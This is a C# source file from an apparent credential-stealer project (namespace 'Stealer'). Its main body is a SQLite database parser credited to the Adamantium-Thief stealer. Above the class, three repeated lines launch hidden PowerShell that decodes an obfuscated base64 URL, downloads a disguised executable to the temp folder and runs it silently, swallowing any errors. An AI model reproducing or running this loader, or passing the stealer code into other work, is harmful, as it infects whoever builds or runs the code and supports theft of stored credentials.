14 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
15 |
16 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
17 |
18 |
19 |
20 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
21 | //Credits: https://github.com/LimerBoy/Adamantium-Thief/blob/master/Stealer/Stealer/modules/SQLite.cs
22 |
23 | namespace Stealer
24 | {
25 | internal class SQLite
26 | {
27 | private readonly byte[] _sqlDataTypeSize = new byte[10] { 0, 1, 2, 3, 4, 6, 8, 8, 0, 0 };
28 | private readonly ulong _dbEncoding;
29 | private readonly byte[] _fileBytes;
30 | private readonly ulong _pageSize;
31 | private string[] _fieldNames;
32 | private SqliteMasterEntry[] _masterTableEntries;
33 | private TableEntry[] _tableEntries;
34 |
35 | public SQLite(string fileName)
36 | {
37 | _fileBytes = File.ReadAllBytes(fileName);
38 | _pageSize = ConvertToULong(16, 2);
39 | _dbEncoding = ConvertToULong(56, 4);
40 | ReadMasterTable(100L);
41 | }
42 |
43 | public string GetValue(int rowNum, int field)
44 | {
45 | try
46 | {
47 | if (rowNum >= _tableEntries.Length)
48 | return (string)null;
49 | return field >= _tableEntries[rowNum].Content.Length ? null : _tableEntries[rowNum].Content[field];
50 | }
51 | catch
52 | {
53 | return "";
54 | }
55 | }
56 |
57 | public int GetRowCount()
58 | {
59 | return _tableEntries.Length;
60 | }
61 |
62 | private bool ReadTableFromOffset(ulong offset)
63 | {
64 | try
65 | {
66 | if (_fileBytes[offset] == 13)
67 | {
68 | uint num1 = (uint)(ConvertToULong((int)offset + 3, 2) - 1UL);
69 | int num2 = 0;
70 | if (_tableEntries != null)
71 | {
72 | num2 = _tableEntries.Length;
73 | Array.Resize(ref _tableEntries, _tableEntries.Length + (int)num1 + 1);
74 | }
75 | else
76 | _tableEntries = new TableEntry[(int)num1 + 1];
77 | for (uint index1 = 0; (int)index1 <= (int)num1; ++index1)
78 | {
79 | ulong num3 = ConvertToULong((int)offset + 8 + (int)index1 * 2, 2);
80 | if ((long)offset != 100L)
81 | num3 += offset;
82 | int endIdx1 = Gvl((int)num3);
83 | Cvl((int)num3, endIdx1);
84 | int endIdx2 = Gvl((int)((long)num3 + (endIdx1 - (long)num3) + 1L));
85 | Cvl((int)((long)num3 + (endIdx1 - (long)num3) + 1L), endIdx2);
86 | ulong num4 = num3 + (ulong)(endIdx2 - (long)num3 + 1L);
87 | int endIdx3 = Gvl((int)num4);
88 | int endIdx4 = endIdx3;
89 | long num5 = Cvl((int)num4, endIdx3);
90 | RecordHeaderField[] array = null;
91 | long num6 = (long)num4 - endIdx3 + 1L;
92 | int index2 = 0;
93 | while (num6 < num5)
94 | {
95 | Array.Resize(ref array, index2 + 1);
96 | int startIdx = endIdx4 + 1;
97 | endIdx4 = Gvl(startIdx);
98 | array[index2].Type = Cvl(startIdx, endIdx4);
99 | array[index2].Size = array[index2].Type <= 9L ? _sqlDataTypeSize[array[index2].Type] : (!IsOdd(array[index2].Type) ? (array[index2].Type - 12L) / 2L : (array[index2].Type - 13L) / 2L);
100 | num6 = num6 + (endIdx4 - startIdx) + 1L;
101 | ++index2;
102 | }
103 | if (array != null)
104 | {
105 | _tableEntries[num2 + (int)index1].Content = new string[array.Length];
106 | int num7 = 0;
107 | for (int index3 = 0; index3 <= array.Length - 1; ++index3)
108 | {
109 | if (array[index3].Type > 9L)
110 | {
111 | if (!IsOdd(array[index3].Type))
112 | {
113 | if ((long)_dbEncoding == 1L)
114 | _tableEntries[num2 + (int)index1].Content[index3] = Encoding.Default.GetString(_fileBytes, (int)((long)num4 + num5 + num7), (int)array[index3].Size);
115 | else if ((long)_dbEncoding == 2L)
116 | {
117 | _tableEntries[num2 + (int)index1].Content[index3] = Encoding.Unicode.GetString(_fileBytes, (int)((long)num4 + num5 + num7), (int)array[index3].Size);
118 | }
119 | else if ((long)_dbEncoding == 3L)
120 | _tableEntries[num2 + (int)index1].Content[index3] = Encoding.BigEndianUnicode.GetString(_fileBytes, (int)((long)num4 + num5 + num7), (int)array[index3].Size);
121 | }
122 | else
123 | _tableEntries[num2 + (int)index1].Content[index3] = Encoding.Default.GetString(_fileBytes, (int)((long)num4 + num5 + num7), (int)array[index3].Size);
124 | }
125 | else
126 | _tableEntries[num2 + (int)index1].Content[index3] = Convert.ToString(ConvertToULong((int)((long)num4 + num5 + num7), (int)array[index3].Size));
127 | num7 += (int)array[index3].Size;
128 | }
129 | }
130 | }
131 | }
132 | else if (_fileBytes[offset] == 5)
133 | {
134 | uint num1 = (uint)(ConvertToULong((int)((long)offset + 3L), 2) - 1UL);
135 | for (uint index = 0; (int)index <= (int)num1; ++index)
136 | {
137 | uint num2 = (uint)ConvertToULong((int)offset + 12 + (int)index * 2, 2);
138 | ReadTableFromOffset((ConvertToULong((int)((long)offset + num2), 4) - 1UL) * _pageSize);
139 | }
140 | ReadTableFromOffset((ConvertToULong((int)((long)offset + 8L), 4) - 1UL) * _pageSize);
141 | }
142 | return true;
143 | }
144 | catch
145 | {
146 | return false;
147 | }
148 | }
149 |
150 | private void ReadMasterTable(long offset)
151 | {
152 | try
153 | {
154 | switch (_fileBytes[offset])
155 | {
156 | case 5:
157 | uint num1 = (uint)(ConvertToULong((int)offset + 3, 2) - 1UL);
158 | for (int index = 0; index <= (int)num1; ++index)
159 | {
160 | uint num2 = (uint)ConvertToULong((int)offset + 12 + index * 2, 2);
161 | if (offset == 100L)
162 | ReadMasterTable(((long)ConvertToULong((int)num2, 4) - 1L) * (long)_pageSize);
163 | else
164 | ReadMasterTable(((long)ConvertToULong((int)(offset + num2), 4) - 1L) * (long)_pageSize);
165 | }
166 | ReadMasterTable(((long)ConvertToULong((int)offset + 8, 4) - 1L) * (long)_pageSize);
167 | break;
168 | case 13:
169 | ulong num3 = ConvertToULong((int)offset + 3, 2) - 1UL;
170 | int num4 = 0;
171 | if (_masterTableEntries != null)
172 | {
173 | num4 = _masterTableEntries.Length;
174 | Array.Resize(ref _masterTableEntries, _masterTableEntries.Length + (int)num3 + 1);
175 | }
176 | else
177 | _masterTableEntries = new SqliteMasterEntry[checked((ulong)unchecked((long)num3 + 1L))];
178 | for (ulong index1 = 0; index1 <= num3; ++index1)
179 | {
180 | ulong num2 = ConvertToULong((int)offset + 8 + (int)index1 * 2, 2);
181 | if (offset != 100L)
182 | num2 += (ulong)offset;
183 | int endIdx1 = Gvl((int)num2);
184 | Cvl((int)num2, endIdx1);
185 | int endIdx2 = Gvl((int)((long)num2 + (endIdx1 - (long)num2) + 1L));
186 | Cvl((int)((long)num2 + (endIdx1 - (long)num2) + 1L), endIdx2);
187 | ulong num5 = num2 + (ulong)(endIdx2 - (long)num2 + 1L);
188 | int endIdx3 = Gvl((int)num5);
189 | int endIdx4 = endIdx3;
190 | long num6 = Cvl((int)num5, endIdx3);
191 | long[] numArray = new long[5];
192 | for (int index2 = 0; index2 <= 4; ++index2)
193 | {
194 | int startIdx = endIdx4 + 1;
195 | endIdx4 = Gvl(startIdx);
196 | numArray[index2] = Cvl(startIdx, endIdx4);
197 | numArray[index2] = numArray[index2] <= 9L ? _sqlDataTypeSize[numArray[index2]] : (!IsOdd(numArray[index2]) ? (numArray[index2] - 12L) / 2L : (numArray[index2] - 13L) / 2L);
198 | }
199 | if ((long)_dbEncoding == 1L || (long)_dbEncoding == 2L)
200 |
201 | if ((long)_dbEncoding == 1L)
202 | _masterTableEntries[num4 + (int)index1].ItemName = Encoding.Default.GetString(_fileBytes, (int)((long)num5 + num6 + numArray[0]), (int)numArray[1]);
203 | else if ((long)_dbEncoding == 2L)
204 | _masterTableEntries[num4 + (int)index1].ItemName = Encoding.Unicode.GetString(_fileBytes, (int)((long)num5 + num6 + numArray[0]), (int)numArray[1]);
205 | else if ((long)_dbEncoding == 3L)
206 | _masterTableEntries[num4 + (int)index1].ItemName = Encoding.BigEndianUnicode.GetString(_fileBytes, (int)((long)num5 + num6 + numArray[0]), (int)numArray[1]);
207 | _masterTableEntries[num4 + (int)index1].RootNum = (long)ConvertToULong((int)((long)num5 + num6 + numArray[0] + numArray[1] + numArray[2]), (int)numArray[3]);
208 | if ((long)_dbEncoding == 1L)
209 | _masterTableEntries[num4 + (int)index1].SqlStatement = Encoding.Default.GetString(_fileBytes, (int)((long)num5 + num6 + numArray[0] + numArray[1] + numArray[2] + numArray[3]), (int)numArray[4]);
210 | else if ((long)_dbEncoding == 2L)
211 | _masterTableEntries[num4 + (int)index1].SqlStatement = Encoding.Unicode.GetString(_fileBytes, (int)((long)num5 + num6 + numArray[0] + numArray[1] + numArray[2] + numArray[3]), (int)numArray[4]);
212 | else if ((long)_dbEncoding == 3L)
213 | _masterTableEntries[num4 + (int)index1].SqlStatement = Encoding.BigEndianUnicode.GetString(_fileBytes, (int)((long)num5 + num6 + numArray[0] + numArray[1] + numArray[2] + numArray[3]), (int)numArray[4]);
214 | }
215 | break;
216 | }
217 | }
218 | catch
219 | {
220 | }
221 | }
222 |
223 | public bool ReadTable(string tableName)
224 | {
225 | try
226 | {
227 | int index1 = -1;
228 | for (int index2 = 0; index2 <= _masterTableEntries.Length; ++index2)
229 | {
230 | if (string.Compare(_masterTableEntries[index2].ItemName.ToLower(), tableName.ToLower(), StringComparison.Ordinal) == 0)
231 | {
232 | index1 = index2;
233 | break;
234 | }
235 | }
236 | if (index1 == -1)
237 | return false;
238 | string[] strArray = _masterTableEntries[index1].SqlStatement.Substring(_masterTableEntries[index1].SqlStatement.IndexOf("(", StringComparison.Ordinal) + 1).Split(',');
239 | for (int index2 = 0; index2 <= strArray.Length - 1; ++index2)
240 | {
241 | strArray[index2] = strArray[index2].TrimStart();
242 | int length = strArray[index2].IndexOf(' ');
243 | if (length > 0)
244 | strArray[index2] = strArray[index2].Substring(0, length);
245 | if (strArray[index2].IndexOf("UNIQUE", StringComparison.Ordinal) != 0)
246 | {
247 | Array.Resize(ref _fieldNames, index2 + 1);
248 | _fieldNames[index2] = strArray[index2];
249 | }
250 | }
251 | return ReadTableFromOffset((ulong)(_masterTableEntries[index1].RootNum - 1L) * _pageSize);
252 | }
253 | catch
254 | {
255 | return false;
256 | }
257 | }
258 |
259 | private ulong ConvertToULong(int startIndex, int size)
260 | {
261 | try
262 | {
263 | if (size > 8 | size == 0)
264 | return 0;
265 | ulong num = 0;
266 | for (int index = 0; index <= size - 1; ++index)
267 | num = num << 8 | (ulong)_fileBytes[startIndex + index];
268 | return num;
269 | }
270 | catch
271 | {
272 | return 0;
273 | }
274 | }
275 |
276 | private int Gvl(int startIdx)
277 | {
278 | try
279 | {
280 | if (startIdx > _fileBytes.Length)
281 | return 0;
282 | for (int index = startIdx; index <= startIdx + 8; ++index)
283 | {
284 | if (index > _fileBytes.Length - 1)
285 | return 0;
286 | if (((int)_fileBytes[index] & 128) != 128)
287 | return index;
288 | }
289 | return startIdx + 8;
290 | }
291 | catch
292 | {
293 | return 0;
294 | }
295 | }
296 |
297 | private long Cvl(int startIdx, int endIdx)
298 | {
299 | try
300 | {
301 | ++endIdx;
302 | byte[] numArray = new byte[8];
303 | int num1 = endIdx - startIdx;
304 | bool flag = false;
305 | if (num1 == 0 | num1 > 9)
306 | return 0;
307 | if (num1 == 1)
308 | {
309 | numArray[0] = (byte)(_fileBytes[startIdx] & (uint)sbyte.MaxValue);
310 | return BitConverter.ToInt64(numArray, 0);
311 | }
312 | if (num1 == 9)
313 | flag = true;
314 | int num2 = 1;
315 | int num3 = 7;
316 | int index1 = 0;
317 | if (flag)
318 | {
319 | numArray[0] = _fileBytes[endIdx - 1];
320 | --endIdx;
321 | index1 = 1;
322 | }
323 | int index2 = endIdx - 1;
324 | while (index2 >= startIdx)
325 | {
326 | if (index2 - 1 >= startIdx)
327 | {
328 | numArray[index1] = (byte)(_fileBytes[index2] >> num2 - 1 & byte.MaxValue >> num2 | _fileBytes[index2 - 1] << num3);
329 | ++num2;
330 | ++index1;
331 | --num3;
332 | }
333 | else if (!flag)
334 | numArray[index1] = (byte)(_fileBytes[index2] >> num2 - 1 & byte.MaxValue >> num2);
335 | index2 += -1;
336 | }
337 | return BitConverter.ToInt64(numArray, 0);
338 | }
339 | catch
340 | {
341 | return 0;
342 | }
343 | }
344 |
345 | private static bool IsOdd(long value)
346 | {
347 | return (value & 1L) == 1L;
348 | }
349 |
350 | private struct RecordHeaderField
351 | {
352 | public long Size;
353 | public long Type;
354 | }
355 |
356 | private struct TableEntry
357 | {
358 | public string[] Content;
359 | }
360 |
361 | private struct SqliteMasterEntry
362 | {
363 | public string ItemName;
364 | public long RootNum;
365 | public string SqlStatement;
366 | }
367 | }
368 | }
369 |
370 |
371 |
372 |
373 |
374 |
375 |
376 |
377 |
378 |
379 |
380 |
381 |
382 |
383 |
384 |
385 |
386 |
387 |
388 |
389 |
390 |
391 |
--------------------------------------------------------------------------------